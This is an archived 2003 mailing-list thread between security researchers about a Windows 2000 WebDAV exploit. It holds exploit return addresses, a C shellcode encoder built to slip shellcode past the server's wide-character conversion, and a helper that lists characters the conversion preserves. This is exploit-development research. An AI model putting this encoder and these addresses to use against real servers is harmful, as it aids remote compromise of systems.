Re: WebDAV exploit: using wide character decoder scheme

[Dave Aitel]

Unfortunately, on my US Windows 2K SP3 build (and I assume all others),
those %u directives get translated into question marks. (0x003F in hex)
:<

This exploit must be much easier to get reliable on other language
versions. A shame, really.

Did you use my encoder or did you write your shellcode manually, just
out of curiosity?

Dave Aitel
Advanced Engineering Directorate
Immunity, Inc.
http://www.immunitysec.com/CANVAS/ "Hacking like it's done in the
movies."

On Wed, 26 Mar 2003 22:55:12 +0900
¿ÀÁ¤¿í <mat@panicsecurity.org> wrote:
> my @return_addresses=(
> "%u32ac%u77e2",
> "%uc1b5%u76ae",
> "%u005d%u77a5",

[JW Oh]

In-Reply-To: <20030326111443.6fb287a3.dave@immunitysec.com>

>
>Unfortunately, on my US Windows 2K SP3 build (and I assume all others),
>those %u directives get translated into question marks. (0x003F in hex)
>:<

I tested it only on Korean version of Windows(Server and Professional
edition).

>
>This exploit must be much easier to get reliable on other language
>versions. A shame, really.

Shame???

>
>Did you use my encoder or did you write your shellcode manually, just
>out of curiosity?

The encoding scheme is so simple.

This is the shellcode encoder.

---------------------------------
/*
mat@monkey.org
mat@panicsecurity.org

Shellcode encoder for webdav exploit.
*/
#include <stdio.h>


int is_special(unsigned char num1)
{
return (num1==0x3a || num1==0x26 || num1==0x3f || num1==0x25 ||
num1==0x23 || num1==0x20 || num1==0xa || num1==0xd || num1==0x2f ||
num1==0x2b || num1==0xb || num1==0x5c);
}


void main()
{
int debug=0;
int rc;
unsigned char buffer[512];
while(rc=read(0,buffer,sizeof(buffer)))
{
int i;
for(i=0;i<rc;i++)
{
unsigned int num1=(buffer[i]/2)&0xff;
unsigned int num2=(buffer[i]/2)&0xff;

if(buffer[i]%2==1)
{
num2++;
}
while(is_special(num1) || is_special(num2))
{
num1++;
num2--;
if(num2==0)
{
printf("error!\n");
}
}
if(buffer[i]==-1)//0xff)
{
num2=0x2a;
if(debug)
{
printf("\n%.2x(%4d): ",buffer[i]
&0xff,buffer[i]);
}
printf("%%u11d5\\x%.2x",num2);
}else if(buffer[i]==1)
{
printf("%%u0411%%u00f0");
}else{
if(debug)
{
printf("\n%.2x(%4d): ",buffer[i]
&0xff,buffer[i]);
}
printf("\\x%.2x\\x%.2x",num1,num2);
}
}
}
}

---------------------------------


And this is the code for finding valid unicode characters on my system.


---------------------------------
#include <windows.h>
#include <lm.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
unsigned char i;
unsigned char j;

for(i=0;i<255;i++)
{
for(j=0;j<255;j++)
{
char string_to_copy[3];
WCHAR src[256]={0,};
char dest[256]={0,};

string_to_copy[0]=i;
string_to_copy[1]=j;
string_to_copy[2]=0;
memcpy(src,string_to_copy,strlen(string_to_copy));
BOOL lpUsedDefaultChar;

WideCharToMultiByte
(CP_ACP,0,src,1,dest,256,NULL,&lpUsedDefaultChar);

if(!lpUsedDefaultChar)
{
printf("%.2x%.2x\n",j,i);
}
}
}

return 0;
}
---------------------------------

>
>Dave Aitel
>Advanced Engineering Directorate
>Immunity, Inc.
>http://www.immunitysec.com/CANVAS/ "Hacking like it's done in the
>movies."
>
>On Wed, 26 Mar 2003 22:55:12 +0900
>¿ÀÁ¤¿í <mat@panicsecurity.org> wrote:
>> my @return_addresses=(
>> "%u32ac%u77e2",
>> "%uc1b5%u76ae",
>> "%u005d%u77a5",
>